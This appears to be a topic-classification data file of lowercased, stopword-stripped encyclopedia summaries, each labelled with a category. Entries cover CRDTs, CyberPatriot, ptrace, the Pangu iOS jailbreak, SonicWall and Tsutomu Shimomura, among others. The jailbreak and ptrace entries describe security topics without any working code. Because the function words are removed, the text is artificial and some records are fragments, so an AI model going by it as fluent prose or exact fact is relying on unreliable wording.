million concurrent users 11,000 messages per second bet365 largest european on-line betting company 2.5 million simultaneous users peak stores hundreds megabytes data riak implementation or-set tomtom employs crdts synchronize navigation data devices user phoenix web framework web framework written elixir uses crdts support real time multi-node information sharing version 1.2 facebook implements crdts apollo low-latency consistency scale database teletype atom employs crdts enable developers share workspace team members collaborate code real time microsoft cosmos db uses crdts enable multi-master write mode haja networks orbitdb uses operation-based crdts core data structure ipfs-log apple implements crdts notes app syncing offline edits multiple devices
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Computer architecture
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cyberpatriot cyberpatriot national youth cyber education program created united states help direct students toward careers cybersecurity science technology engineering mathematics disciplines program created air force association afa features annual national youth cyber defense competition high school middle school students national youth cyber defense competition eleventh season called cyberpatriot xi indicating season competition cyberpatriot xi open high schools middle schools accredited home school programs around country jrotc units services civil air patrol squadrons naval sea cadet corps divisions may also participate competition outside regular competition cyberpatriot also hosts two additional sub-programs summer cybercamps elementary school cyber education initiative northrop grumman foundation presenting sponsor spin program run uk called cyber centurion cyberpatriot began 2009 proof concept demonstration afa ’ air warfare symposium orlando florida nine high school civil air patrol squadrons competed second phase program limited air force afjrotc civil air patrol teams online training qualification competitions held fall 2009 nearly 200 teams 44 states competing eight slots in-person national finals competition february 2010 held orlando florida final phase developmental program full national deployment underway 1,500 teams 50 states canada dod dependant schools overseas competed cyberpatriot vi cyberpatriot vii began october 2014 2,100 teams registered compete new division middle school division added season cyberpatriot ix started october 2016 featured 4,300 registered teams cyberpatriot designed accessible high school middle school student provides path high school college workforce benefits cyberpatriot partners nation program increases awareness cybersecurity delivering basic cybersecurity education competitive format enhances leadership communication cooperation skills among competitors teams following members team required registered coach registered competitors coach registration begins late spring allow preparation summer qualification rounds competition completed online teams ’ home locations september early january competition tournament structure three divisions early rounds competition done online weekends via internet teams ’ schools sponsoring organizations ’ facilities prior round teams download virtual image representations operating systems known flaws cybersecurity vulnerabilities team tasked find flaws keeping specified computer functions services email working team progress recorded central cyberpatriot scoring system scores qualification rounds 1 2 totaled determine tier team advances teams platinum tier teams eligible qualify national finals see additional rules top scoring semifinal teams division approximately 28 teams invited all-expenses paid in-person national finals competition spring cyberpatriot iv vii national finals competitions held gaylord national hotel convention center national harbor maryland beginning cyberpatriot viii season national finals competitions moved hyatt regency inner harbor baltimore maryland challenges teams may face include winning teams open service division earn education grants school choice first place teams earn 2,000 per competitor second place teams earn 1,500 per competitor third place earns 1,000 per competitor scholarship money provided northrop grumman corp cyberpatriot vii first second third place additional 2,000 1,500 1,000 awarded teams respectively national security agency
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Computer security
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alpha blaster alpha blaster fixed shooter video game developed dave aron sumlock vic-20 home computer published livewire software 1983 aackosoft published msx adaptation game following year alpha blaster derivative galaxian 1979 player defends alien invasion fleet planet alpha piloting lone federation battle cruiser player scores points shooting flying saucers spacecraft laser cannon craft laser energy fuel limited surviving two waves attacks player must dodge blast debris cruiser flies asteroid belt player passes asteroid belt cruiser docks supply ship rearm refuel cycle game difficulty level increases
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Computer architecture
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sas language sas language computer programming language used statistical analysis created anthony james barr north carolina state university read data common spreadsheets databases output results statistical analyses tables graphs rtf html pdf documents sas language runs compilers used microsoft windows linux various unix mainframe computers sas system world programming system wps sas language compilers
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Programming language topics
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ptrace ptrace system call found unix several unix-like operating systems using ptrace name abbreviation process trace one process control another enabling controller inspect manipulate internal state target ptrace used debuggers code-analysis tools mostly aids software development ptrace used debuggers gdb dbx tracing tools like strace ltrace code coverage tools ptrace also used specialized programs patch running programs avoid unfixed bugs overcome security features used sandbox run-time environment simulator like emulating root access non-root software attaching another process using ptrace call tool extensive control operation target includes manipulation file descriptors memory registers single-step target code observe intercept system calls results manipulate target signal handlers receive send signals behalf ability write target memory allows data store changed also application code segment allowing controller install breakpoints patch running code target ability inspect alter another process powerful ptrace attach processes owner send signals typically processes superuser account ptrace almost process except init kernels 2.6.26 linux systems feature capabilities-based security ability ptrace limited cap_sys_ptrace capability yama linux security module freebsd limited freebsd jails mandatory access control policies communications controller target take place using repeated calls ptrace passing small fixed-size block memory two necessitating two context switches per call acutely inefficient accessing large amounts target memory done word sized blocks ptrace call word reason 8th edition unix introduced procfs allows permitted processes direct access memory another process 4.4bsd followed use /proc debugger support inherited solaris bsd aix mostly copied linux solaris removed ptrace system call altogether retaining library call reinterprets calls ptrace terms platform procfs systems use ioctls file descriptor opened /proc file issue commands controlled process freebsd hand extended ptrace remove mentioned problems declared procfs obsolete due inherent design problems ptrace provides basic interface necessary support debuggers similar tools programs using must intimate knowledge specifics os architecture including stack layout application binary interface system call mechanism name mangling format debug data responsible understanding disassembling machine code programs inject executable code target process like gdb allow user enter commands executed context target must generate load code generally without help program loader ptrace first implemented version 6 unix present svr4 4.3bsd branches unix ptrace available system call irix ibm aix netbsd freebsd openbsd linux ptrace implemented library call solaris built solaris kernel procfs filesystem sun notes ptrace solaris intended compatibility recommends new implementations use richer interface proc supplies instead unixware also features limited ptrace like sun sco recommends implementers use underlying procfs features instead hp-ux supported ptrace release 11i v3 deprecated favour ttrace similar os-specific call 11i v1 starting ubuntu 10.10 ptrace allowed called child processes apple mac os x also implements ptrace system call apple version adds special option pt_deny_attach — process invokes option subsequent attempts ptrace process fail apple uses feature limit use debuggers programs manipulate drm-ed content including itunes pt_deny_attach also disables dtrace ability monitor process debuggers os x typically use combination ptrace mach vm thread apis ptrace pt_deny_attach available developers apple iphone linux also gives processes ability prevent processes attaching processes call prctl syscall clear pr_set_dumpable flag later kernels prevents non-root processes ptracing calling process openssh authentication agent uses mechanism prevent ssh session hijacking via ptrace later ubuntu versions ship linux kernel configured prevent ptrace attaches processes traced process parent allows gdb strace continue work running target process prevents attaching unrelated running process control feature performed via /proc/sys/kernel/yama/ptrace_scope setting systems feature enabled commands like gdb -- attach strace -p work android phones locked boot loader ptrace used gain control init process enable '2nd boot replace system files
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Operating systems
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opendap opendap acronym open-source project network data access protocol endeavor focused enhancing retrieval remote structured data web-based architecture discipline-neutral data access protocol dap widely used especially earth science protocol layered http current specification dap4 though previous dap2 version remains broadly used developed advanced openly collaboratively non-profit opendap inc. dap intended enable remote selective data-retrieval easily invoked web service opendap inc. also develops maintains zero-cost reference implementations dap protocol server-side client-side software opendap often used place dap denote protocol also may refer entire dap-based data-retrieval architecture dap-centered architectures thredds erddap noaa geo-ide uaf erddap exhibit significant interoperability one another well systems employing opendap open-source servers software dap client ordinary browser even spreadsheet though limited functionality see opendap web page available client software typically dap clients regardless types whether developed commercially end-user clients almost universally link dap servers libraries implement dap2 dap4 protocol one language another opendap offers open-source libraries c++ java many clients rely community developed libraries pydap especially netcdf suite developed maintained unidata program ucar multiple programming languages netcdf libraries include embedded capabilities retrieving array-style data dap servers data-using client references data set url requests metadata content issuing usually embedded dap library http request dap server content requests usually preceded requests metadata describing structure details referenced data set information client may construct dap constraint expressions retrieve specific content i.e. subsets source opendap servers offer various types responses depending specific form client request including xml json html ascii response requests content opendap servers respond multi-part mime documents include binary portion netcdf dap-native encoding binary forms offer compact means deliver large volumes content dap-native form may even streamed desired opendap software building dap servers top apache dubbed hyrax includes adapters facilitate serving wide variety source data dap servers frequently enable remote access large hdf netcdf files source data exist databases formats including user-defined ones source data organized files dap retrievals enable via subsetting finer-grained access ftp furthermore opendap servers aggregate subsets multiple files delivery single retrieval taken together subsetting aggregation streaming yield substantial data-access efficiencies even presence slow networks opendap dap servers used operationally government agencies including nasa noaa providing access earth science data including satellite imagery high-volume information sources dap data model embraces comprehensive set data structures including multidimensional arrays nested sequences i.e. records complemented correspondingly rich set constraint expressions hence opendap data-retrieval architecture demonstrated utility across broad range scientific data types including data generated via simulations data generated via observations whether remotely sensed measured situ
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Web technology
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pangu team pangu team chinese programming team ios community developed pangu jailbreaking tools tools assist users bypassing device restrictions enabling root access ios operating system permits user install applications customizations typically unavailable official ios app store versions chinese mythology name usaama pan gu chinese word first living creator pangu pangu jailbreak ios 7.1 7.1.x free ios jailbreaking tool developed pangu team capable executing jailbreaks various ios 7.1 devices ipod touch iphone ipad using various exploits tool first released 23 june 2014 jailbreak ios 7.1 ios devices new fourth generation apple tv tvos 9.0 9.0.1 initial release tool included support ios 7.1.2 team suspected firmware update imminent apple would use release patch vulnerabilities used tool pangu uses revoked enterprise certificate inject jailbreak removed jailbreak complete initial release v1.0.0 25pp chinese cracked app store would installed user uncheck check box checked default installation 25pp removed package version 1.1.0 originally v1.0.0 pangu achieved jailbreaking using infoleak vulnerability taken stefan esser aka i0n1c paid security training sessions along vulnerabilities found although team acknowledges esser help within pangu jailbreak tool esser took twitter let everyone know way okay pangu using exploit discovered one pangu members daniel_k4 later responded public one asked sign nda paid security training sessions infoleak bug known everyone attended security training sessions daniel_k4 said found similar vulnerability infoleak used since n't want disclose new vulnerabilities infoleak bug used bypass kaslr make untethered jailbreak alone team said never thought using learned paid class would wrong pangu offered esser another vulnerability compensation received response thus since version 1.1.0 release esser infoleak replaced another vulnerability found pangu pangu8 pangu jailbreak ios 8.0 8.1 free ios 8 jailbreak tool pangu team first released october 22 2014 tool compatible devices capable running ios 8 iphone 6 iphone 6 plus ipad mini 3 ipad air 2 currently available chinese english cydia included initial release package added v1.1.0 available pangu website since cydia incompatible initial release pangu8 included pangu app allows users install cydia alongside various pangu bug fixes recommended software tool works tweaking utility also recommends tools openssh cydia installed pangu app removed device removing pangu loader ios cydia respringing device uninstalling pangu app removing pangu jailbreak ios users remove pangu jailbreak restore device latest ios version moreover difficult downgrade ios device back previous ios version apple stops signing old ios versions release newer ios firmware initial releases also enabled cydia installed debian package file instead within pangu app alternative pangu9 pangu jailbreak ios 9.0 9.1 latest free ios 9 jailbreak tool pangu team first released october 14 2015 included jailbreak ios 9.0 9.0.2 march 11 2016 pangu released pangu9 v1.3.0 included jailbreak ios 9.1 tool capable jailbreaking devices running ios 9.0 64-bit devices running ios 9.1 currently available english windows os x versions available cydia bundled pangu9 first release removing need pangu app found previous pangu jailbreaks released july 24 2016 pp25 also known pangu9 new pangu9 jailbreak ios 9.2 9.3.3 supported 64-bit devices supported ipod 6th gen ipad pro 1st release application known pp assistant chinese program install cracked apps pangu jailbreak bundled pp assistant option install pp25 app device jailbreak process ask apple id used install unofficial app jailbreak english version released adding support ipod 6th gen ipad pro likely add support 32-bit apple corrected iomobileframebuffer bug ios 9.3.4 released august 4 2016 “ team pangu ” credited source update official security notes apple states available iphone 4s later ipad 2 later ipod touch 5th generation later impact application may able execute arbitrary code kernel privileges description memory corruption issue addressed improved memory handling cve-2016-4654 team pangu like ios 9.x releases ios 9.3.4 designed iphone 4s later ipad 2 later ipad mini later ipad pro range 5th generation ipod touch later outsiders recommend upgrade ios 9.3.3 ios 9.3.4 jailbreak pangu9 ios 9 9.1 worked allowing access photos app able install unsigned application cydia pangu9 ios 9.2 9.3.3 used similar exploit allowing notifications enabled installation cydia used app bundled pp25 allowed jailbreak without use computer
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Computer security
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message loop microsoft windows message loop obligatory section code every program uses graphical user interface microsoft windows windows programs gui event-driven windows maintains individual message queue thread created window usually first thread creates windows windows places messages queue whenever mouse activity occurs thread window whenever keyboard activity occurs window focus times process also add messages queue accept user input reasons thread window must continuously retrieve messages queue act programmer makes process writing loop calls getmessage blocks message retrieves calls dispatchmessage dispatches message repeats indefinitely message loop usually message loop main program runs main thread additional message loop created modal dialog messages every window process pass message queue handled message loop message loop one kind event loop basic message loop appears follows conventional event loop call translatemessage message translate virtual keystrokes strings calling translatemessage technically required problems result called message loop must call dispatchmessage message loop directly act messages handles dispatches calling dispatchmessage transfers message window procedure window message addressed window procedure callback procedure got associated window class registered one window use window procedure code also send messages directly window procedure called nonqueued messages strict message loop option code elsewhere program also accept dispatch messages peekmessage non-blocking call returns immediately message waiting message none waiting waitmessage allows thread sleep message queue modern graphical interface frameworks windows forms windows presentation foundation mfc delphi qt others require applications code windows message loop automatically route events key presses mouse clicks appropriate handlers defined within framework however framework implements message loop somewhere message loop usually accessed replaced direct control required
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Operating systems
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le select le select framework prototype accessing data heterogeneous nature invoking data processing program internet/intranet environments 1 le select middleware software system designed intention providing organised platform access distributed data software resources unlike data warehouses attempt collect data central location usually single format data structure le select mediator aims provide connection data le select based distributed computing system fully distributed architecture le select global repository global schema data published le select viewed users tuples relational table regardless native data format could flat file spreadsheet wrappers software modules used le select translate data native format relational format viewed users also contain information locate data server access formed set java classes additional xml definition files designed wrappers serve similar purposes re-written rather developer start scratch le select based fully distributed system architecture program run one le select server whilst using data another server system sends data server program running coordinates execution sends back results client relational table user view le select data standard web-browser form tuples relational database additional capabilities include provision sql search abilities le select form middleware software based fully distributed system architecture allows users publish consult wide range data queried accessed remotely via internet
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Distributed computing architecture
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ntrepid ntrepid american software hardware cyber security company registered florida based herndon virginia 2008 anonymizer company acquired abraxas corporation purchased cubic 2010 124 million abraxas former employees left form ntrepid year lance cottrell founder anonymizer chief scientist ntrepid anonymizer wholly owned ntrepid march 2011 ntrepid 2.76 million contract u.s. military online persona management contract creation technology would allow blogging activities websites exclusively outside united states counter violent extremist enemy propaganda would allow one operator anonymously create control ten personas one computer project overseen u.s. central command centcom whose spokesman commander bill speaks stated operation would carried arabic persian urdu project thought connected operation earnest voice
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Computer security
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qualified electronic signature qualified electronic signature electronic signature compliant eu regulation 910/2014 eidas regulation electronic transactions within internal european market enables verify authorship declaration electronic data exchange long periods time qualified electronic signatures considered digital equivalent handwritten signatures purpose eidas create set standards ensure electronic signatures could used secure manner conducting business online conducting official business across borders eu member states qualified electronic signature one standard outlined eidas qualified electronic signature advanced electronic signature qualified digital certificate created qualified signature creation device qscd electronic signature considered qualified electronic signature must meet three main requirements first signatory must linked uniquely identified signature second point data used create signature must sole control signatory last must ability identify data accompanies signature tampered since signing message important note creating qualified electronic signature merely adding qualified certificate advanced electronic signature signature must also created using qualified signature creation device qscd device responsible qualifying digital signatures using specific hardware software ensures signatory control private key addition qualified trust service provider manages signature creation data produced signature creation data must remain unique confidential protected forgery qualified electronic signatures comply eidas may technically implemented three specific digital signature standards xades pades cades developed european telecommunications standards institute etsi need complemented qualified digital certificate procedures described qualified trust service provider crucial role process qualified electronic signing trust service provider must receive qualified status supervisory governmental body allows entity provide qualified trust services used creating qualified electronic signatures regulated eidas european union published eu trust list constitutive effect meaning provider service qualified appears trusted list qualified trust service providers required abide strict guidelines outlined eidas regulation include part certificate creation process eidas intent implementation qualified electronic signatures serve several purposes facilitation business public services processes including go across borders processes safely expedited using electronic signing eidas eu member states charged establishing points single contact pscs trust services ensure electronic id schemes may used cross-border public sector transactions exchanging accessing healthcare information across borders previously signatory would sign document message return intended recipient via postal service facsimile service hand scanning attaching email issue methods always secure timely delays delivery could occur exists possibility signatures could forged enclosed documents may altered risk increases multiple signatures required different people may located different locations problems alleviated using qualified electronic signatures save time legally binding provide higher level technical security increased transparency electronic signing transaction process enhanced interoperability expected spur innovation european internal market eidas requires electronic signature denied legal effect admissibility evidence solely grounds electronic form meet requirements qualified electronic signatures qualified electronic signature shall equivalent legal effect handwritten signature evidentiary value depends circumstances normally considered high eu member states required recognize qualified electronic signature valid long created qualified certificate issued another member state eidas regulation article 27 electronic signatures public services member states prohibited requesting signatures higher level qualified electronic signature article 25 2 eidas allows qualified electronic signature carry legal weight handwritten signature
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Computer security
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htc sense htc sense software suite developed htc used primarily company android-based devices serving successor htc touchflo 3d software windows mobile sense modifies many aspects android user experience incorporating additional features altered home screen keyboard additional widgets re-designed applications additional htc-developed applications first device sense htc hero released 2009 hd2 running windows mobile 6.5 released later year included sense following release hero future android devices htc shipped sense except nexus one t-mobile g2 htc first google pixel pixel 2 nexus 9 used stock version android also htc smartphones using mediatek processors come without htc sense mobile world congress 2010 htc debuted new updated htc sense ui htc desire htc legend upgrade available hero magic new version based upon android 2.1 featured interface features friend stream widget aggregated twitter facebook flickr information leap allows access home screens htc sensation released featured htc sense 3.0 added interface elements including updated lock screen allows applications pinned directly easier access htc evo 3d also features sense 3.0 two versions sense developed android 4.0 sense 4.0 included htc new devices beginning 2012 htc one x designed provide refreshed minimalist look closer stock android previous versions integrating features provided android 4.0 sense 3.6 distributed updates older htc phones designed maintain closer resemblance previous versions sense android 2.3 original version sense first introduced htc hero espresso codename version sense running atop t-mobile mytouch devices debuted t-mobile mytouch 3g htc espresso t-mobile mytouch 4g htc glacier features widgets apps regular sense color apps certain interface elements blue instead green pushed apps appear home screen sense 4.1 debuted htc desire htc legend provided upgrades htc hero htc magic introduced friendstream leap feature similar macos mission control sense 3.0 debuted htc sensation version introduced htc watch movie streaming service updated lockscreen app shortcuts easier access additional lockscreen styles included widgets display content weather photos also features 3d homescreen transition effects swiping among homescreens legacy htc devices received updates android 4.0 use sense 3.6 update integrating select features sense 4 updated home screen visual design elements sense 3.5 sense 4.0 first introduced htc one series devices android 4.0 unveiled 2012 one x one one v. many aspects sense interface modified closer resemble standard android interface home screen uses dock shortcuts instead fixed apps phone personalize buttons previous versions new application switcher using cards updated stock apps beats audio support sense 4.1 minor update original sense 4.0 ran top android 4.0.4 opposed android 4.0.3 included many bug fixes optimizations device original htc one series receive update htc one v. announced 2012 htc one x+ updates sense 4+ also released android 4.1.2 updates one x one evo 4g lte one sv lte 3g desire x.. announced april 2013 2013 htc one features minimalistic design new scrolling news aggregator home screen known blinkfeed displays scrolling grid news headlines social network content default sense 5 uses three home screen pages two traditional grid apps widgets previous devices using grid fewer spaces apps default default screen redesigned clock blinkfeed although pages still added sense 5.0 going exclusive htc one february 28 2013 htc announced would provide updates butterfly one later discontinued one x/x+ sense 5.0 coming months announced september 2013 htc one max adds rss google+ support blinkfeed allows users disable blinkfeed entirely adds tool making animated gifs additional highlights themes sense 6.0 nicknamed sixth sense announced alongside 2014 htc one m8 march 25 2014 based android 4.4 kitkat similar sense 5 offers new customization options color themes new font choices increased use transparency effects particularly home screen sense 6.0 devices use on-screen buttons updates included apps blinkfeed gallery tv zoe updated independently sense google play store htc one 2013 one mini one max updated 6.0 via software update sense 7.0 announced mobile world congress march 1 2015 alongside htc one m9 based android 5.0 lollipop largely sense 6.0 far default user interface concerned save tweaked icons new weather clock widget perhaps notable new feature new user interface theming app simply called themes allows users alter color schemes icons sounds fonts throughout operating system users either create themes scratch download pre-made ones created htc fellow users another major new feature ability customize navigation buttons across bottom display users change order add fourth button power button one hides navigation bar altogether htc confirmed advertisements displayed blinkfeed however htc given option user opt-out receiving advertisements august 2015 owners htc m8 m9 united states reported reddit received push-notification promoting upcoming fantastic four movie theme htc u12+ ships android 8.0 oreo overlay htc sense ui 10.0 features project treble allows faster updates new versions android appear amazon alexa google assistant htc sense companion virtual assistants come pre-installed c 1 sense 3.6 exclusively obtained android 4.0 updates existing devices htc devices released since introduction sense incorporate several including nexus one released first device nexus series t-mobile g2 variation htc desire z stock android htc first facebook home disabled special edition htc one released google play june 2013 march 2014 htc announced desire 310 running android 4.2.2 addition blinkfeed video highlights like predecessor htc one m8 also got google play edition running android 4.4.2 nexus 9 tablet unveiled google october 15 2014 running android 5.0
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Operating systems
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plurix plurix unix-like operating system developed brazil early 1980s plurix developed federal university rio de janeiro ufrj nce nce researchers returning postgraduate courses usa attempted license unix source code late 1970s without success 1982 due refusing license code development team led newton faller decided initiate development alternative system called plurix ** using reference unix version 7 recent time running old motorola computer system 1985 plurix system running pegasus 32-x shared-memory multi-processor computer also designed nce plurix licensed brazilian companies 1988 two brazilian universities also developed unix systems universidade federal de minas gerais ufmg developed dcc-ix operating system university são paulo usp developed real operating system 1987 nce/ufrj also offered technical courses os design implementation local computer companies later produced proprietary unix systems fact brazilian companies first created organization companies interested unix called api tried license unix attempts frustrated end 1986 canceled negotiations api companies edisa cobra softec invested development systems edix sox analix respectively finally licensed code brazilian companies majority decided drop local development use licensed code localize system purposes cobra nce/ufrj kept developing tried convince brazilian government prohibit entrance unix brazil since operating systems developed cobra plurix similar could things brazilian industry 80s protected market foreign company could n't sell product brazil brazilian company offered similar hardware software cobra strong argument similarity os recognized x/open government north american pressure delayed decision new president elected twenty years military dictatorship first act terminate laws ruled brazilian market protection hardware software later everything else projects withdrawn nce went back university cobra almost went bankrupt state-owned company whose major customer banco brasil certainly none national systems comprehensiveness original unix system v incorporated software different origins fifteen years ahead however evolution national systems could followed viable proper way still preserved basic characteristics unix philosophy assure compatibility unix systems around world nce plurix project evolved 2 projects mulplix unix-like operating system designed support medium-grain parallelism provide efficient environment running parallel applications within multiplus multiplus distributed shared-memory multiprocessor designed modular architecture able support 1024 processing elements 32 gb global memory address space developed group volunteers like gnu/linux tropix fully preemptive real-time unix-like operating system pcs user level tropix bears reasonable similarity unix operating system processes created fork-execs i/o always treated sequence bytes performed open-read-write-close primitives signals sent processes kernel process zero swapper/pager init process common ancestor user processes etc internally tropix kernel structure quite different unix tropix fully preemptible kernel many specialized system calls manipulate coordinate execution real-time processes real-time processes coexist time-sharing counterparts run higher priorities many privileges besides swapper/pager tropix kernel standard processes include unique dispatcher process per processor running multiprocessing environment scheme greatly facilitates implementation different scheduling strategies followed different processors fine-grain parallel processing within executing processes also possible since tropix implements threads supervisor level
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Operating systems
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maciej stachowiak maciej stachowiak born june 6 1976 polish american software developer currently employed apple inc. leader development team responsible safari web browser webkit framework longtime proponent open source software stachowiak involved scwm gnome nautilus projects linux joining apple actively involved development web standards co-chair world wide web consortium html 5 working group member web hypertext application technology working group steering committee graduating east high school rochester new york 1994 stachowiak accepted mit completed course 6 electrical engineering computer science received sc.b m.eng 1998 mit stachowiak worked rethinking cs101 project 1997 began scheme constraints window manager project greg badros also contributed paper cognitive neural sciences office naval research stachowiak mit m.eng thesis automated extraction structured data html documents indicative early interest web standards development 1999-2001 stachowiak contributed various linux software projects employed eazel one lead developers along andy hertzfeld darin adler create nautilus file manager also developer object activation framework oaf gnome desktop environment 1999-2001 1999 became maintainer scheme interpreter guile employment eazel stachowiak also contributed eye gnome gnome libs gravevine gnop developer medusa bonobo gnome vfs stachowiak also member gnome foundation board directors told fortune magazine eazel seemed like borderline-crazy business plan ... said 'sure 'll work colleagues fidgeted uncomfortably two months later eazel ceased operations laying entire staff closure eazel remaining senior engineers including bud tribble melton darin adler john sullivan ken kocienda stachowiak joined apple safari team june 2001 later joined netscape/mozilla firefox alumni david hyatt june 13 2002 stachowiak announced mailing list apple releasing javascriptcore framework mac os x based kde javascript engine webkit project javascriptcore since evolved squirrelfish extreme javascript engine compiles javascript native machine code june 6 2005 webkit made open source coincidentally stachowiak birthday stachowiak wrote behalf apple along members mozilla foundation opera software proposal new html working group w3c adopt web hypertext application technology working group ’ html5 starting point work 9 may 2007 new html working group resolved may 2009 stachowiak co-authored w3c html design principles html5 one first major documentation projects w3c 27 august 2009 stachowiak co-chaired world wide web consortium html working group along ibm sam ruby microsoft paul cotton webkit underpinnings safari published open-source software june 6 2005 safari run latest version webkit passed web standards project acid2 test stachowiak reported webkit blog march 26 2008 software passed 100/100 acid3 test making safari first browser pass
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Operating systems
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sonicwall sonicwall originally private company headquartered silicon valley dell subsidiary 2012 2016 sells range internet appliances primarily directed content control network security include devices providing services network firewalls utms unified threat management vpns virtual private network anti-spam email company also markets information subscription services related products company solutions also serve solve problems surrounding hipaa pci compliance march 13 2012 usa today said dell announced intent acquire sonicwall 130 patents 950 employees dell acquisition sonicwall became official may 9 2012 june 20 2016 dell sold sonicwall part dell software private equity firm francisco partners elliott management 1991 brothers sreekanth ravi sudhakar ravi founded company name sonic systems develop ethernet fast ethernet cards hubs bridges apple market late 1990s company released security product initially called interpol later branded sonicwall dedicated hardware appliance firewall vpn software intended small-business market sales security appliances rapidly accelerated company exited apple add-on networking business refocused exclusively network security company late 1999 company changed name sonic systems sonicwall inc. represent shift network security company november 1999 sonicwall went public symbol snwl 2001 sonicwall upgraded global management system gms software manage vpn devices matthew t. medeiros formerly philips components became ceo march 2003 sonicwall acquired number companies years expanding product line process 2005 sonicwall announced acquisition enkoo 2007 sonicwall announced acquisition aventail corporation july 23 2010 sonicwall announced completed merger affiliates investor group led thoma bravo llc included ontario teachers pension plan private investor department teachers private capital merger sonicwall delisted nasdaq march 13 2012 dell announced signed definitive agreement acquire sonicwall may 20 2016 dell announced sale dell software included sonicwall private equity firm francisco partners elliott management
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Computer security
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tsutomu shimomura shimomura founder semiconductor company neofocal systems served ceo cto 2016 born japan shimomura son osamu shimomura winner 2008 nobel prize chemistry grew princeton new jersey attended princeton high school caltech studied nobel laureate richard feynman caltech went work los alamos national laboratory continued hands-on education position staff physicist brosl hasslacher others subjects lattice gas automata 1989 became research scientist computational physics university california san diego senior fellow san diego supercomputer center shimomura also became noted computer security expert working national security agency 1992 testified congress issues regarding privacy security lack thereof cellular telephones author bruce sterling described first meeting shimomura documentary freedom downtime best known events 1995 assisted tracking computer hacker kevin mitnick year shimomura also received prank calls popularized phrase kung fu stronger equating hacking shimomura journalist john markoff wrote book pursuit book later adapted movie similar name track shimomura appeared brief cameo movie shimomura worked sun microsystems late 1990s shimomura founder privately held fabless semiconductor company neofocal systems served ceo cto 2016 kevin mitnick others raised legal ethical questions concerning shimomura involvement case california author jonathan littman wrote 1996 book case called fugitive game online kevin mitnick presented mitnick side story different version events written shimomura markoff book littman made allegations journalistic impropriety markoff questioned legality shimomura involvement matter well suggesting many parts fabricated authors self-serving purposes mitnick autobiography ghost wires expands concerns shimomura involvement case unethical illegal
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Computer security
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nano antivirus nano antivirus russian antivirus software developed nano security ltd software free paid nano antivirus pro versions nano security russian company founded 2009 team developed implemented antivirus software since 2003 nano security ltd integrated security maintenance microsoft software intended use homes small businesses 2017 nano antivirus pro included russian software registry ministry telecom mass communications russian federation nano antivirus failed pass vb100 certification first attempt since earned five consecutive vb100 awards award streak interrupted failed certification nano antivirus earned two vb100 including last certification vb100 team commended product quality nano antivirus integrated following online scanners virustotal opswat metadefender virscan.org engine supplier certified partner technologies nano security patented europe usa russia china countries
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Computer security
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brooks–iyengar algorithm brooks–iyengar algorithm brooks–iyengar hybrid algorithm distributed algorithm improves precision accuracy interval measurements taken distributed sensor network even presence faulty sensors sensor network exchanging measured value accuracy value every node every node computes accuracy range measured value whole network values collected even data sensors faulty sensor network malfunction algorithm fault-tolerant distributed could also used sensor fusion method precision accuracy bound algorithm proved 2016 brooks–iyengar hybrid algorithm distributed control presence noisy data combines byzantine agreement sensor fusion bridges gap sensor fusion byzantine fault tolerance seminal algorithm unified disparate fields first time essentially combines dolev ’ algorithm approximate agreement mahaney schneider ’ fast convergence algorithm fca algorithm assumes n processing elements pes faulty behave maliciously takes input either real values inherent inaccuracy noise unknown real value apriori defined uncertainty interval output algorithm real value explicitly specified accuracy algorithm runs n log n n number pes see big notation possible modify algorithm correspond crusader ’ convergence algorithm cca however bandwidth requirement also increase algorithm applications distributed control software reliability high-performance computing etc brooks–iyengar algorithm executed every processing element pe distributed sensor network pe exchanges measured interval pes network fused measurement weighted average midpoints regions found concrete steps brooks–iyengar algorithm shown section pe performs algorithm separately input measurement sent pe k pe closed interval formula_1 formula_2 output output pe includes point estimate interval estimate example consider example 5 pes pe 5 formula_14 sending wrong values pes exchange values values received formula_15 next table draw weighted region diagram wrd intervals determine formula_16 pe 1 according algorithm formula_17 consists intervals least 4 formula_3 5−1 measurements intersect output pe 1 equal formula_19 interval estimate formula_20 similar could obtain inputs results 5 pes 1982 byzantine problem byzantine general problem extension two generals problem could viewed binary problem 1983 approximate consensus method removes values set consists scalars tolerant faulty inputs 1985 in-exact consensus method also uses scalar input 1996 brooks-iyengar algorithm method based intervals 2013 byzantine vector consensus method uses vectors input 2013 multidimensional agreement method also use vectors input measure distance different could use approximate consensus scalar-based brooks-iyengar algorithm interval-based byzantine vector consensus vector-based deal interval inputs paper proved brooks–iyengar algorithm best brooks–iyengar algorithm seminal work major milestone distributed sensing could used fault tolerant solution many redundancy scenarios also easy implement embed networking systems 1996 algorithm used minix provide accuracy precision leads development first version rt-linux 2000 algorithm also central darpa sensit program ’ distributed tracking program acoustic seismic motion detection readings multiple sensors combined fed distributed tracking system besides used combine heterogeneous sensor feeds application fielded bbn technologies bae systems penn state applied research lab arl usc/isi besides thales group uk defense manufacturer used work global operational analysis laboratory applied raytheon ’ programs many systems need extract reliable data unreliable sensor network exempts increasing investment improving sensor reliability also research developing algorithm results tools used us nav maritime domain awareness software education brooks–iyengar algorithm widely used teaching classes university wisconsin purdue georgia tech clemson university university maryland etc addition area sensor network fields time-triggered architecture safety cyber-physical systems data fusion robot convergence high-performance computing software/hardware reliability ensemble learning artificial intelligence systems could also benefit brooks–iyengar algorithm inventors brooks iyengar algorithm dr brooks dr ss iyengar received prestigious 25 year test time award pioneering research high impact brooks-iyengar algorithm high impact research work influenced numerous us government programs commercial products
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Computer security
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michel degraff michel frederic degraff haitian creolist served board journal haitian studies tenured professor massachusetts institute technology founding member haitian creole academy field scholarship creole language also known lang kreyòl linguistics known advocacy towards recognition haitian creole full-fledged language fall 2012 received 1 million grant national science foundation introduce online creole language materials teaching stem haiti believes haitian children taught native language levels instruction contrary tradition teaching french degraff believes instruction french foreign language haitian children hinders creativity ability excel child growing middle-class haitian family attending top school instruction french degraff reports despite top student often felt french hindrance speaking well caused complexes inferiority among otherwise bright children remembers believing spoke one half language haitian creole half fact language children spoke well default creole recalls french although imposed home school never used jokes soccer field dr. degraff holds phd computer science university pennsylvania prior phd studied computer science city college new york arrived city college haiti 1982 developed interest linguistics internship bell labs new jersey 1985 dr. degraff currently works introducing ict haitian children instructed creole matènwa school la gonâve children encouraged use google translate read available web languages creole national science foundation grant also using computer games creole teach math skills
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Computational linguistics
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knightmare iii shalom
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Computer architecture
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sql clr sql clr sqlclr sql common language runtime technology hosting microsoft .net common language runtime engine within sql server sqlclr allows managed code hosted run microsoft sql server environment technology introduced microsoft sql server 2005 allow users example create following types managed code objects sql server .net languages c vb.net sql clr relies creation deployment registration cli assemblies physically stored managed code dynamic load libraries dlls assemblies may contain cli namespaces classes functions properties
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Databases
